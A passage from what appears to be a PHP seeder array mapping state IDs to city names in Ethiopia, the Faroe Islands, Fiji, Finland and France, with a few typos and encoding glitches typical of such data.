'1130', 'name' => 'butajira'],\n ['state_id' => '1130', 'name' => 'ch\\'ench\\'a'],\n ['state_id' => '1130', 'name' => 'dilla'],\n ['state_id' => '1130', 'name' => 'gidole'],\n ['state_id' => '1130', 'name' => 'hossa\\'ina'],\n ['state_id' => '1130', 'name' => 'jinka'],\n ['state_id' => '1130', 'name' => 'leku'],\n ['state_id' => '1130', 'name' => 'mizan teferi'],\n ['state_id' => '1130', 'name' => 'sawla'],\n ['state_id' => '1130', 'name' => 'soddo'],\n ['state_id' => '1130', 'name' => 'teppi'],\n ['state_id' => '1130', 'name' => 'wendo'],\n ['state_id' => '1130', 'name' => 'yirga alem'],\n ['state_id' => '1130', 'name' => 'yirga ch\\'efe'],\n ['state_id' => '1131', 'name' => 'abiy adi'],\n ['state_id' => '1131', 'name' => 'addigrat'],\n ['state_id' => '1131', 'name' => 'adwa'],\n ['state_id' => '1131', 'name' => 'aksum'],\n ['state_id' => '1131', 'name' => 'alamat\\'a'],\n ['state_id' => '1131', 'name' => 'endasilasie'],\n ['state_id' => '1131', 'name' => 'hagere selam'],\n ['state_id' => '1131', 'name' => 'himora'],\n ['state_id' => '1131', 'name' => 'korem'],\n ['state_id' => '1131', 'name' => 'maych\\'ew'],\n ['state_id' => '1131', 'name' => 'mek\\'ele'],\n ['state_id' => '1131', 'name' => 'mekele'],\n ['state_id' => '1131', 'name' => 'wik\\'ro'],\n ['state_id' => '1137', 'name' => 'hvannasund'],\n ['state_id' => '1137', 'name' => 'klaksvik'],\n ['state_id' => '1140', 'name' => 'husavik'],\n ['state_id' => '1140', 'name' => 'sands'],\n ['state_id' => '1140', 'name' => 'skalavik'],\n ['state_id' => '1140', 'name' => 'skopun'],\n ['state_id' => '1140', 'name' => 'skuvoy'],\n ['state_id' => '1141', 'name' => 'haldarsvik'],\n ['state_id' => '1141', 'name' => 'hests'],\n ['state_id' => '1141', 'name' => 'hosvik'],\n ['state_id' => '1141', 'name' => 'hvalvik'],\n ['state_id' => '1141', 'name' => 'kirkjubo'],\n ['state_id' => '1141', 'name' => 'kollafjar '],\n ['state_id' => '1141', 'name' => 'kvivik'],\n ['state_id' => '1141', 'name' => 'nolsoy'],\n ['state_id' => '1141', 'name' => 'saksun'],\n ['state_id' => '1141', 'name' => 'torshavn'],\n ['state_id' => '1141', 'name' => 'vestmanna'],\n ['state_id' => '1144', 'name' => 'torshavn'],\n ['state_id' => '1145', 'name' => 'biggjar'],\n ['state_id' => '1145', 'name' => 'midvags'],\n ['state_id' => '1145', 'name' => 'mykines'],\n ['state_id' => '1145', 'name' => 'sandavags'],\n ['state_id' => '1145', 'name' => 'sorvags'],\n ['state_id' => '1146', 'name' => 'deuba'],\n ['state_id' => '1146', 'name' => 'korovou'],\n ['state_id' => '1146', 'name' => 'lami'],\n ['state_id' => '1146', 'name' => 'namosi'],\n ['state_id' => '1146', 'name' => 'nausori'],\n ['state_id' => '1146', 'name' => 'navua'],\n ['state_id' => '1146', 'name' => 'suva'],\n ['state_id' => '1147', 'name' => 'levuka'],\n ['state_id' => '1147', 'name' => 'malhaha'],\n ['state_id' => '1147', 'name' => 'tubou'],\n ['state_id' => '1147', 'name' => 'vunisea'],\n ['state_id' => '1148', 'name' => 'korokade'],\n ['state_id' => '1148', 'name' => 'labasa'],\n ['state_id' => '1148', 'name' => 'savusavu'],\n ['state_id' => '1150', 'name' => 'ba'],\n ['state_id' => '1150', 'name' => 'lautoka'],\n ['state_id' => '1150', 'name' => 'nadi'],\n ['state_id' => '1150', 'name' => 'rakiraki'],\n ['state_id' => '1150', 'name' => 'sigatoka'],\n ['state_id' => '1150', 'name' => 'tavua'],\n ['state_id' => '1150', 'name' => 'vatukoula'],\n ['state_id' => '1151', 'name' => 'maarianhamina'],\n ['state_id' => '1152', 'name' => 'imatra'],\n ['state_id' => '1152', 'name' => 'joutseno'],\n ['state_id' => '1152', 'name' => 'lappeenranta'],\n ['state_id' => '1153', 'name' => 'hyllykallio'],\n ['state_id' => '1153', 'name' => 'ilmajoki'],\n ['state_id' => '1153', 'name' => 'kauhajoki'],\n ['state_id' => '1153', 'name' => 'kurikka'],\n ['state_id' => '1153', 'name' => 'lapua'],\n ['state_id' => '1153', 'name' => 'seinajoki'],\n ['state_id' => '1154', 'name' => 'mikkeli'],\n ['state_id' => '1154', 'name' => 'savonlinna'],\n ['state_id' => '1157', 'name' => 'loviisa'],\n ['state_id' => '1157', 'name' => 'orimattila'],\n ['state_id' => '1157', 'name' => 'porvoo'],\n ['state_id' => '1158', 'name' => 'kajaani'],\n ['state_id' => '1159', 'name' => 'forssa'],\n ['state_id' => '1159', 'name' => 'hameenlinna'],\n ['state_id' => '1159', 'name' => 'janakkala'],\n ['state_id' => '1159', 'name' => 'riihimaki'],\n ['state_id' => '1160', 'name' => 'kokkola'],\n ['state_id' => '1161', 'name' => 'aanekoski'],\n ['state_id' => '1161', 'name' => 'jamsa'],\n ['state_id' => '1161', 'name' => 'jyvaskyla'],\n ['state_id' => '1161', 'name' => 'keuruu'],\n ['state_id' => '1161', 'name' => 'laukaa'],\n ['state_id' => '1161', 'name' => 'lieto'],\n ['state_id' => '1162', 'name' => 'anjalankoski'],\n ['state_id' => '1162', 'name' => 'hamina'],\n ['state_id' => '1162', 'name' => 'kotka'],\n ['state_id' => '1162', 'name' => 'kouvola'],\n ['state_id' => '1162', 'name' => 'kuusankoski'],\n ['state_id' => '1162', 'name' => 'valkeala'],\n ['state_id' => '1162', 'name' => 'vehkalahti'],\n ['state_id' => '1164', 'name' => 'kemi'],\n ['state_id' => '1164', 'name' => 'kemijarvi'],\n ['state_id' => '1164', 'name' => 'rovaniemi'],\n ['state_id' => '1164', 'name' => 'sonka'],\n ['state_id' => '1164', 'name' => 'tornio'],\n ['state_id' => '1166', 'name' => 'jakobstad'],\n ['state_id' => '1166', 'name' => 'oulunsalo'],\n ['state_id' => '1168', 'name' => 'heinola'],\n ['state_id' => '1168', 'name' => 'hollola'],\n ['state_id' => '1168', 'name' => 'lahti'],\n ['state_id' => '1168', 'name' => 'nastola'],\n ['state_id' => '1169', 'name' => 'kangasala'],\n ['state_id' => '1169', 'name' => 'lempaala'],\n ['state_id' => '1169', 'name' => 'nokia'],\n ['state_id' => '1169', 'name' => 'pirkkala'],\n ['state_id' => '1169', 'name' => 'sastamala'],\n ['state_id' => '1169', 'name' => 'tampere'],\n ['state_id' => '1169', 'name' => 'valkeakoski'],\n ['state_id' => '1169', 'name' => 'ylojarvi'],\n ['state_id' => '1170', 'name' => 'kristiinankaupunki'],\n ['state_id' => '1170', 'name' => 'mustasaari'],\n ['state_id' => '1170', 'name' => 'pietarsaari'],\n ['state_id' => '1170', 'name' => 'uusikarlepyy'],\n ['state_id' => '1170', 'name' => 'vaasa'],\n ['state_id' => '1171', 'name' => 'joensuu'],\n ['state_id' => '1171', 'name' => 'lieksa'],\n ['state_id' => '1172', 'name' => 'haukipudas'],\n ['state_id' => '1172', 'name' => 'kempele'],\n ['state_id' => '1172', 'name' => 'kuusamo'],\n ['state_id' => '1172', 'name' => 'muhos'],\n ['state_id' => '1172', 'name' => 'nivala'],\n ['state_id' => '1172', 'name' => 'oulainen'],\n ['state_id' => '1172', 'name' => 'oulu'],\n ['state_id' => '1172', 'name' => 'raahe'],\n ['state_id' => '1172', 'name' => 'ylivieska'],\n ['state_id' => '1173', 'name' => 'iisalmi'],\n ['state_id' => '1173', 'name' => 'kuopio'],\n ['state_id' => '1173', 'name' => 'sillinjarvi'],\n ['state_id' => '1173', 'name' => 'varkaus'],\n ['state_id' => '1174', 'name' => 'saarijarvi'],\n ['state_id' => '1175', 'name' => 'eura'],\n ['state_id' => '1175', 'name' => 'eurajoki'],\n ['state_id' => '1175', 'name' => 'harjavalta'],\n ['state_id' => '1175', 'name' => 'huittinen'],\n ['state_id' => '1175', 'name' => 'kankaanpaa'],\n ['state_id' => '1175', 'name' => 'kokemaki'],\n ['state_id' => '1175', 'name' => 'lappi'],\n ['state_id' => '1175', 'name' => 'nakkila'],\n ['state_id' => '1175', 'name' => 'noormarkku'],\n ['state_id' => '1175', 'name' => 'pori'],\n ['state_id' => '1175', 'name' => 'rauma'],\n ['state_id' => '1175', 'name' => 'sakyla'],\n ['state_id' => '1175', 'name' => 'ulvila'],\n ['state_id' => '1175', 'name' => 'vammala'],\n ['state_id' => '1179', 'name' => 'espoo'],\n ['state_id' => '1179', 'name' => 'hanko'],\n ['state_id' => '1179', 'name' => 'helsinki'],\n ['state_id' => '1179', 'name' => 'hyvinkaa'],\n ['state_id' => '1179', 'name' => 'jarvenpaa'],\n ['state_id' => '1179', 'name' => 'kauniainen'],\n ['state_id' => '1179', 'name' => 'kerava'],\n ['state_id' => '1179', 'name' => 'kirkkonummi'],\n ['state_id' => '1179', 'name' => 'lohja'],\n ['state_id' => '1179', 'name' => 'mantsala'],\n ['state_id' => '1179', 'name' => 'nurmijarvi'],\n ['state_id' => '1179', 'name' => 'sipoo'],\n ['state_id' => '1179', 'name' => 'tammisaari'],\n ['state_id' => '1179', 'name' => 'tuusula'],\n ['state_id' => '1179', 'name' => 'vantaa'],\n ['state_id' => '1179', 'name' => 'vihti'],\n ['state_id' => '1180', 'name' => 'kaarina'],\n ['state_id' => '1180', 'name' => 'naantali'],\n ['state_id' => '1180', 'name' => 'parainen'],\n ['state_id' => '1180', 'name' => 'raisio'],\n ['state_id' => '1180', 'name' => 'salo'],\n ['state_id' => '1180', 'name' => 'turku'],\n ['state_id' => '1180', 'name' => 'uusikaupunki'],\n ['state_id' => '1181', 'name' => 'amberieu-en-bugey'],\n ['state_id' => '1181', 'name' => 'bellegarde-sur-valserine'],\n ['state_id' => '1181', 'name' => 'bourg-en-bresse'],\n ['state_id' => '1181', 'name' => 'oyonnax'],\n ['state_id' => '1182', 'name' => 'chateau-thierry'],\n ['state_id' => '1182', 'name' => 'chauny'],\n ['state_id' => '1182', 'name' => 'hirson'],\n ['state_id' => '1182', 'name' => 'laon'],\n ['state_id' => '1182', 'name' => 'saint-quentin'],\n ['state_id' => '1182', 'name' => 'soissons'],\n ['state_id' => '1182', 'name' => 'strassbourg'],\n ['state_id' => '1182', 'name' => 'tergnier'],\n ['state_id' => '1184', 'name' => 'cusset'],\n ['state_id' => '1184', 'name' => 'montlucon'],\n ['state_id' => '1184', 'name' => 'moulins'],\n ['state_id' => '1184', 'name' => 'vichy'],\n ['state_id' => '1184', 'name' => 'yzeure'],\n ['state_id' => '1186', 'name' => 'antibes'],\n ['state_id' => '1186', 'name' => 'beausoleil'],\n ['state_id' => '1186', 'name' => 'cagnes-sur-mer'],\n ['state_id' => '1186', 'name' => 'cannes'],\n ['state_id' => '1186', 'name' => 'carros'],\n ['state_id' => '1186', 'name' => 'grasse'],\n ['state_id' => '1186', 'name' => 'la trinite'],\n ['state_id' => '1186', 'name' => 'le cannet'],\n ['state_id' => '1186', 'name' => 'mandelieu-la-napoule'],\n ['state_id' => '1186', 'name' => 'menton'],\n ['state_id' => '1186', 'name' => 'mougins'],\n ['state_id' => '1186', 'name' => 'nice'],\n ['state_id' => '1186', 'name' => 'roquebrune-cap-martin'],\n ['state_id' => '1186', 'name' => 'saint-laurent-du-var'],\n ['state_id' => '1186', 'name' => 'valbonne'],\n ['state_id' => '1186', 'name' => 'vallauris'],\n ['state_id' => '1186', 'name' => 'vence'],\n ['state_id' => '1186', 'name' => 'villeneuve-loubet'],\n ['state_id' => '1187', 'name' => 'digne-les-bains'],\n ['state_id' => '1187', 'name' => 'manosque'],\n ['state_id' => '1188', 'name' => 'adainville'],\n ['state_id' => '1188', 'name' => 'alby-sur-cheran'],\n ['state_id' => '1188', 'name' => 'aubervilliers'],\n ['state_id' => '1188', 'name' => 'auterive'],\n ['state_id' => '1188', 'name' => 'baillet'],\n ['state_id' => '1188', 'name' => 'beaune'],\n ['state_id' => '1188', 'name' => 'beauzelle'],\n ['state_id' => '1188', 'name' => 'bonnet de mure'],\n ['state_id' => '1188', 'name' => 'bormes-les-mimosas'],\n ['state_id' => '1188', 'name' => 'brindas'],\n ['state_id' => '1188', 'name' => 'burlats'],\n ['state_id' => '1188', 'name' => 'buzancais'],\n ['state_id' => '1188', 'name' => 'candillargues'],\n ['state_id' => '1188', 'name' => 'carry-le-rouet'],\n ['state_id' => '1188', 'name' => 'cassis'],\n ['state_id' => '1188', 'name' => 'cessenon-sur-orb'],\n ['state_id' => '1188', 'name' => 'chanac'],\n ['state_id' => '1188', 'name' => 'chevigny'],\n ['state_id' => '1188', 'name' => 'cogolin'],\n ['state_id' => '1188', 'name' => 'collioure'],\n ['state_id' => '1188', 'name' => 'cremieu'],\n ['state_id' => '1188', 'name' => 'drulingen'],\n ['state_id' => '1188', 'name' => 'ecouen'],\n ['state_id' => '1188', 'name' => 'eschau'],\n ['state_id' => '1188', 'name' => 'feignies'],\n ['state_id' => '1188', 'name' => 'ferus'],\n ['state_id' => '1188', 'name' => 'fourqueux'],\n ['state_id' => '1188', 'name' => 'franqueville'],\n ['state_id' => '1188', 'name' => 'gignac'],\n ['state_id' => '1188', 'name' => 'gravigny'],\n ['state_id' => '1188', 'name' => 'hangenbieten'],\n ['state_id' => '1188', 'name' => 'hunspach'],\n ['state_id' => '1188', 'name' => 'kilstett'],\n ['state_id' => '1188', 'name' => 'la chevroliere'],\n ['state_id' => '1188', 'name' => 'la-fare-les-oliviers'],\n ['state_id' => '1188', 'name' => 'lanvellec'],\n ['state_id' => '1188', 'name' => 'le faget'],\n ['state_id' => '1188', 'name' => 'lesigny'],\n ['state_id' => '1188', 'name' => 'lesquin'],\n ['state_id' => '1188', 'name' => 'limonest'],\n ['state_id' => '1188', 'name' => 'messein'],\n ['state_id' => '1188', 'name' => 'morgat'],\n ['state_id' => '1188', 'name' => 'mundolsheim'],\n ['state_id' => '1188', 'name' => 'nantiat'],\n ['state_id' => '1188', 'name' => 'niederbronn-les-bain'],\n ['state_id' => '1188', 'name' => 'nimes'],\n ['state_id' => '1188', 'name' => 'opoul'],\n ['state_id' => '1188', 'name' => 'pance'],\n ['state_id' => '1188', 'name' => 'peronne'],\n ['state_id' => '1188', 'name' => 'ploneour lanvern'],\n ['state_id' => '1188', 'name' => 'realmont'],\n ['state_id' => '1188', 'name' => 'reichstett'],\n ['state_id' => '1188', 'name' => 'saint aubin'],\n ['state_id' => '1188', 'name' => 'saint christophe'],\n ['state_id' => '1188', 'name' => 'saint martin dãƒâ¢ã‚â€ã‚â™here'],\n ['state_id' => '1188', 'name' => 'saint-berthevin'],\n ['state_id' => '1188', 'name' => 'saint-cergues'],\n ['state_id' => '1188', 'name' => 'sancerre'],\n ['state_id' => '1188', 'name' => 'sarzeau'],\n ['state_id' => '1188', 'name' => 'seltz'],\n ['state_id' => '1188', 'name' => 'seyssins'],\n ['state_id' => '1188', 'name' => 'souffelweyersheim'],\n ['state_id' => '1188', 'name' => 'vireux-molhain'],\n ['state_id' => '1188', 'name' => 'voves'],\n ['state_id' => '1188', 'name' => 'wambrechies'],\n ['state_id' => '1188', 'name' => 'wervocq sud'],\n ['state_id' => '1189', 'name' => 'abzac'],\n ['state_id' => '1189', 'name' => 'bidart'],\n ['state_id' => '1189', 'name' => 'biganos'],\n ['state_id' => '1189', 'name' => 'buzet-sur-baise'],\n ['state_id' => '1189', 'name' => 'coursac'],\n ['state_id' => '1189', 'name' => 'hasparren'],\n ['state_id' => '1189', 'name' => 'landiras'],\n ['state_id' => '1189', 'name' => 'le haillan'],\n ['state_id' => '1189', 'name' => 'ledat'],\n ['state_id' => '1189', 'name' => 'martillac'],\n ['state_id' => '1189', 'name' => 'puyoo'],\n ['state_id' => '1189', 'name' => 'saint-jean-dillac'],\n ['state_id' => '1189', 'name' => 'seignosse'],\n ['state_id' => '1189', 'name' => 'tresses'],\n ['state_id' => '1190', 'name' => 'annonay'],\n ['state_id' => '1190', 'name' => 'aubenas'],\n ['state_id' => '1190', 'name' => 'guilherand-granges'],\n ['state_id' => '1190', 'name' => 'privas'],\n ['state_id' => '1190', 'name' => 'tournon-sur-rhone'],\n ['state_id' => '1191', 'name' => 'charleville-mezieres'],\n ['state_id' => '1191', 'name' => 'les hautes-rivieres'],\n ['state_id' => '1191', 'name' => 'revin'],\n ['state_id' => '1191', 'name' => 'sedan'],\n ['state_id' => '1192', 'name' => 'foix'],\n ['state_id' => '1192', 'name' => 'pamier'],\n ['state_id' => '1193', 'name' => 'bar-sur-seine'],\n ['state_id' => '1193', 'name' => 'romilly-sur-seine'],\n ['state_id' => '1193', 'name' => 'saint-andre-les-vergers'],\n ['state_id' => '1193', 'name' => 'sainte-savine'],\n ['state_id' => '1193', 'name' => 'troyes'],\n ['state_id' => '1194', 'name' => 'carcassonne'],\n ['state_id' => '1194', 'name' => 'castelnaudary'],\n ['state_id' => '1194', 'name' => 'limoux'],\n ['state_id' => '1194', 'name' => 'narbonne'],\n ['state_id' => '1195', 'name' => 'ambert'],\n ['state_id' => '1195', 'name' => 'creuzier-le-vieux'],\n ['state_id' => '1195', 'name' => 'ferrieres'],\n ['state_id' => '1195', 'name' => 'peschadoires'],\n ['state_id' => '1195', 'name' => 'riotord'],\n ['state_id' => '1195', 'name' => 'saint-pal-de-chalencon'],\n ['state_id' => '1195', 'name' => 'saint-romain-lachalm'],\n ['state_id' => '1195', 'name' => 'saint-vidal'],\n ['state_id' => '1195', 'name' => 'sainte-sigolene'],\n ['state_id' => '1196', 'name' => 'millau'],\n ['state_id' => '1196', 'name' => 'onet-le-chataeu'],\n ['state_id' => '1196', 'name' => 'rodez'],\n ['state_id' => '1196', 'name' => 'villefranche-de-rouergue'],\n ['state_id' => '1197', 'name' => 'bischheim'],\n ['state_id' => '1197', 'name' => 'bischwiller'],\n ['state_id' => '1197', 'name' => 'haguenau'],\n ['state_id' => '1197', 'name' => 'hoenheim'],\n ['state_id' => '1197', 'name' => 'illkirch-graffenstaden'],\n ['state_id' => '1197', 'name' => 'lingolsheim'],\n ['state_id' => '1197', 'name' => 'obernai'],\n ['state_id' => '1197', 'name' => 'ostwald'],\n ['state_id' => '1197', 'name' => 'saverne'],\n ['state_id' => '1197', 'name' => 'schiltigheim'],\n ['state_id' => '1197', 'name' => 'selestat'],\n ['state_id' => '1197', 'name' => 'strasbourg'],\n ['state_id' => '1198', 'name' => 'deauville'],\n ['state_id' => '1199', 'name' => 'aix-en-provence'],\n ['state_id' => '1199', 'name' => 'allauch'],\n ['state_id' => '1199', 'name' => 'arles'],\n ['state_id' => '1199', 'name' => 'aubagne'],\n ['state_id' => '1199', 'name' => 'berre-l\\'etang'],\n ['state_id' => '1199', 'name' => 'bouc-bel-air'],\n ['state_id' => '1199', 'name' => 'chateauneuf-les-martigues'],\n ['state_id' => '1199', 'name' => 'chateaurenard'],\n ['state_id' => '1199', 'name' => 'fos-sur-mer'],\n ['state_id' => '1199', 'name' => 'gardanne'],\n ['state_id' => '1199', 'name' => 'istres'],\n ['state_id' => '1199', 'name' => 'la ciotat'],\n ['state_id' => '1199', 'name' => 'les pennes-mirabeau'],\n ['state_id' => '1199', 'name' => 'maillane'],\n ['state_id' => '1199', 'name' => 'marignane'],\n ['state_id' => '1199', 'name' => 'marseille'],\n ['state_id' => '1199', 'name' => 'martigues'],\n ['state_id' => '1199', 'name' => 'miramas'],\n ['state_id' => '1199', 'name' => 'plan-de-cuques'],\n ['state_id' => '1199', 'name' => 'port-de-bouc'],\n ['state_id' => '1199', 'name' => 'rognac'],\n ['state_id' => '1199', 'name' => 'saint-martin-de-crau'],\n ['state_id' => '1199', 'name' => 'saint-remy-de-provence'],\n ['state_id' => '1199', 'name' => 'salon-de-provence'],\n ['state_id' => '1199', 'name' => 'septemes-les-vallons'],\n ['state_id' => '1199', 'name' => 'tarascon'],\n ['state_id' => '1199', 'name' => 'vitrolles'],\n ['state_id' => '1200', 'name' => 'migennes'],\n ['state_id' => '1201', 'name' => 'javene'],\n ['state_id' => '1201', 'name' => 'plouha'],\n ['state_id' => '1202', 'name' => 'brehan'],\n ['state_id' => '1202', 'name' => 'broons'],\n ['state_id' => '1202', 'name' => 'guipry'],\n ['state_id' => '1202', 'name' => 'miniac-morvan'],\n ['state_id' => '1202', 'name' => 'ploudaniel'],\n ['state_id' => '1202', 'name' => 'vern-sur-seiche'],\n ['state_id' => '1203', 'name' => 'aillant-sur-tholon'],\n ['state_id' => '1204', 'name' => 'bayeux'],\n ['state_id' => '1204', 'name' => 'caen'],\n ['state_id' => '1204', 'name' => 'herouville-saint-clair'],\n ['state_id' => '1204', 'name' => 'lisieux'],\n ['state_id' => '1204', 'name' => 'mondeville'],\n ['state_id' => '1204', 'name' => 'vire'],\n ['state_id' => '1205', 'name' => 'aurillac'],\n ['state_id' => '1206', 'name' => 'brumath'],\n ['state_id' => '1206', 'name' => 'courtaboeuf'],\n ['state_id' => '1206', 'name' => 'iregny'],\n ['state_id' => '1206', 'name' => 'cedex'],\n ['state_id' => '1207', 'name' => 'azay-le-rideau'],\n ['state_id' => '1207', 'name' => 'chevillon-sur-huillard'],\n ['state_id' => '1207', 'name' => 'cloyes-sur-le-loir'],\n ['state_id' => '1207', 'name' => 'gellainville'],\n ['state_id' => '1207', 'name' => 'la chaussse-saint-victor'],\n ['state_id' => '1207', 'name' => 'la ville-aux-clercs'],\n ['state_id' => '1207', 'name' => 'ladon'],\n ['state_id' => '1207', 'name' => 'le chatelet'],\n ['state_id' => '1208', 'name' => 'angouleme'],\n ['state_id' => '1208', 'name' => 'cognac'],\n ['state_id' => '1208', 'name' => 'lencloitre'],\n ['state_id' => '1208', 'name' => 'soyaux'],\n ['state_id' => '1209', 'name' => 'la rochelle'],\n ['state_id' => '1209', 'name' => 'rochefort'],\n ['state_id' => '1209', 'name' => 'royan'],\n ['state_id' => '1209', 'name' => 'saintes'],\n ['state_id' => '1210', 'name' => 'bourges'],\n ['state_id' => '1210', 'name' => 'saint-amand-montrond'],\n ['state_id' => '1210', 'name' => 'saint-doulchard'],\n ['state_id' => '1210', 'name' => 'vierzon'],\n ['state_id' => '1211', 'name' => 'brive-la-gaillarde'],\n ['state_id' => '1211', 'name' => 'tulle'],\n ['state_id' => '1211', 'name' => 'ussel'],\n ['state_id' => '1212', 'name' => 'ajaccio'],\n ['state_id' => '1212', 'name' => 'porto-vecchio'],\n ['state_id' => '1213', 'name' => 'beaune'],\n ['state_id' => '1213', 'name' => 'chenove'],\n ['state_id' => '1213', 'name' => 'dijon'],\n ['state_id' => '1213', 'name' => 'quetigny'],\n ['state_id' => '1213', 'name' => 'talant'],\n ['state_id' => '1214', 'name' => 'dinan'],\n ['state_id' => '1214', 'name' => 'lamballe'],\n ['state_id' => '1214', 'name' => 'lannion'],\n ['state_id' => '1214', 'name' => 'loudeac'],\n ['state_id' => '1214', 'name' => 'plerin'],\n ['state_id' => '1214', 'name' => 'ploufragan'],\n ['state_id' => '1214', 'name' => 'saint-brieuc'],\n ['state_id' => '1215', 'name' => 'gueret'],\n ['state_id' => '1216', 'name' => 'crolles'],\n ['state_id' => '1217', 'name' => 'bressuire'],\n ['state_id' => '1217', 'name' => 'niort'],\n ['state_id' => '1217', 'name' => 'parthenay'],\n ['state_id' => '1217', 'name' => 'thouars'],\n ['state_id' => '1218', 'name' => 'bergerac'],\n ['state_id' => '1218', 'name' => 'perigueux'],\n ['state_id' => '1218', 'name' => 'sarlat-la-caneda'],\n ['state_id' => '1219', 'name' => 'audincourt'],\n ['state_id' => '1219', 'name' => 'besancon'],\n ['state_id' => '1219', 'name' => 'beure'],\n ['state_id' => '1219', 'name' => 'montbeliard'],\n ['state_id' => '1219', 'name' => 'pontarlier'],\n ['state_id' => '1219', 'name' => 'valentigney'],\n ['state_id' => '1220', 'name' => 'bourg-les-valence'],\n ['state_id' => '1220', 'name' => 'montelimar'],\n ['state_id' => '1220', 'name' => 'pierrelatte'],\n ['state_id' => '1220', 'name' => 'romans-sur-isere'],\n ['state_id' => '1220', 'name' => 'valence'],\n ['state_id' => '1221', 'name' => 'athis-mons'],\n ['state_id' => '1221', 'name' => 'bretigny-sur-orge'],\n ['state_id' => '1221', 'name' => 'brunoy'],\n ['state_id' => '1221', 'name' => 'bures-sur-yvette'],\n ['state_id' => '1221', 'name' => 'chilly-mazarin'],\n ['state_id' => '1221', 'name' => 'corbeil-essonnes'],\n ['state_id' => '1221', 'name' => 'courcouronnes'],\n ['state_id' => '1221', 'name' => 'dourdan'],\n ['state_id' => '1221', 'name' => 'draveil'],\n ['state_id' => '1221', 'name' => 'epinay-sous-senart'],\n ['state_id' => '1221', 'name' => 'epinay-sur-orge'],\n ['state_id' => '1221', 'name' => 'etampes'],\n ['state_id' => '1221', 'name' => 'evry'],\n ['state_id' => '1221', 'name' => 'fleury-merogis'],\n ['state_id' => '1221', 'name' => 'gif-sur-yvette'],\n ['state_id' => '1221', 'name' => 'grigny'],\n ['state_id' => '1221', 'name' => 'igny'],\n ['state_id' => '1221', 'name' => 'juvisy-sur-orge'],\n ['state_id' => '1221', 'name' => 'les ulis'],\n ['state_id' => '1221', 'name' => 'longjumeau'],\n ['state_id' => '1221', 'name' => 'massy'],\n ['state_id' => '1221', 'name' => 'mennecy'],\n ['state_id' => '1221', 'name' => 'montgeron'],\n ['state_id' => '1221', 'name' => 'morangis'],\n ['state_id' => '1221', 'name' => 'morsang-sur-orge'],\n ['state_id' => '1221', 'name' => 'orsay'],\n ['state_id' => '1221', 'name' => 'palaiseau'],\n ['state_id' => '1221', 'name' => 'ris-orangis'],\n ['state_id' => '1221', 'name' => 'saint-michel-sur-orge'],\n ['state_id' => '1221', 'name' => 'sainte-genevieve-des-bois'],\n ['state_id' => '1221', 'name' => 'savigny-sur-orge'],\n ['state_id' => '1221', 'name' => 'verrieres-le-buisson'],\n ['state_id' => '1221', 'name' => 'vigneux-sur-seine'],\n ['state_id' => '1221', 'name' => 'villebon-sur-yvette'],\n ['state_id' => '1221', 'name' => 'viry-chatillon'],\n ['state_id' => '1221', 'name' => 'yerres'],\n ['state_id' => '1222', 'name' => 'bernay'],\n ['state_id' => '1222', 'name' => 'evreux'],\n ['state_id' => '1222', 'name' => 'gisors'],\n ['state_id' => '1222', 'name' => 'louviers'],\n ['state_id' => '1222', 'name' => 'pont-audemer'],\n ['state_id' => '1222', 'name' => 'val-de-reuil'],\n ['state_id' => '1222', 'name' => 'vernon'],\n ['state_id' => '1223', 'name' => 'chartres'],\n ['state_id' => '1223', 'name' => 'chateaudun'],\n ['state_id' => '1223', 'name' => 'dreux'],\n ['state_id' => '1223', 'name' => 'luce'],\n ['state_id' => '1223', 'name' => 'mainvillier'],\n ['state_id' => '1223', 'name' => 'nogent-le-rotrou'],\n ['state_id' => '1223', 'name' => 'vernouillet'],\n ['state_id' => '1224', 'name' => 'feucherolles'],\n ['state_id' => '1225', 'name' => 'brest'],\n ['state_id' => '1225', 'name' => 'concarneau'],\n ['state_id' => '1225', 'name' => 'douarnenez'],\n ['state_id' => '1225', 'name' => 'guipavas'],\n ['state_id' => '1225', 'name' => 'landerneau'],\n ['state_id' => '1225', 'name' => 'le relecq-kerhoun'],\n ['state_id' => '1225', 'name' => 'morlaix'],\n ['state_id' => '1225', 'name' => 'plougastel-daoulas'],\n ['state_id' => '1225', 'name' => 'plouzane'],\n ['state_id' => '1225', 'name' => 'quimper'],\n ['state_id' => '1225', 'name' => 'quimperle'],\n ['state_id' => '1226', 'name' => 'charquemont'],\n ['state_id' => '1226', 'name' => 'chemaudin'],\n ['state_id' => '1226', 'name' => 'pelousey'],\n ['state_id' => '1226', 'name' => 'perrigny'],\n ['state_id' => '1226', 'name' => 'pirey'],\n ['state_id' => '1226', 'name' => 'villers-le-lac'],\n ['state_id' => '1227', 'name' => 'ales'],\n ['state_id' => '1227', 'name' => 'bagnols-sur-ceze'],\n ['state_id' => '1227', 'name' => 'beaucaire'],\n ['state_id' => '1227', 'name' => 'nimes'],\n ['state_id' => '1227', 'name' => 'pont-saint-esprit'],\n ['state_id' => '1227', 'name' => 'saint-gilles'],\n ['state_id' => '1227', 'name' => 'vauvert'],\n ['state_id' => '1227', 'name' => 'villeneuve-les-avignon'],\n ['state_id' => '1228', 'name' => 'auch'],\n ['state_id' => '1228', 'name' => 'beraut'],\n ['state_id' => '1229', 'name' => 'ambares-et-lagrave'],\n ['state_id' => '1229', 'name' => 'arcachon'],\n ['state_id' => '1229', 'name' => 'begles'],\n ['state_id' => '1229', 'name' => 'blanquefort'],\n ['state_id' => '1229', 'name' => 'bordeaux'],\n ['state_id' => '1229', 'name' => 'bruges'],\n ['state_id' => '1229', 'name' => 'cenon'],\n ['state_id' => '1229', 'name' => 'cestas'],\n ['state_id' => '1229', 'name' => 'eysines'],\n ['state_id' => '1229', 'name' => 'floirac'],\n ['state_id' => '1229', 'name' => 'gradignan'],\n ['state_id' => '1229', 'name' => 'gujan-mestras'],\n ['state_id' => '1229', 'name' => 'la teste-de-buch'],\n ['state_id' => '1229', 'name' => 'le bouscat'],\n ['state_id' => '1229', 'name' => 'libourne'],\n ['state_id' => '1229', 'name' => 'lormont'],\n ['state_id' => '1229', 'name' => 'merignac'],\n ['state_id' => '1229', 'name' => 'pessac'],\n ['state_id' => '1229', 'name' => 'saint-medard-en-jalles'],\n ['state_id' => '1229', 'name' => 'talence'],\n ['state_id' => '1229', 'name' => 'villenave-d\\'ornon'],\n ['state_id' => '1230', 'name' => 'cernay'],\n ['state_id' => '1230', 'name' => 'colmar'],\n ['state_id' => '1230', 'name' => 'guebwiller'],\n ['state_id' => '1230', 'name' => 'illzach'],\n ['state_id' => '1230', 'name' => 'kingersheim'],\n ['state_id' => '1230', 'name' => 'mulhouse'],\n ['state_id' => '1230', 'name' => 'riediesheim'],\n ['state_id' => '1230', 'name' => 'rixheim'],\n ['state_id' => '1230', 'name' => 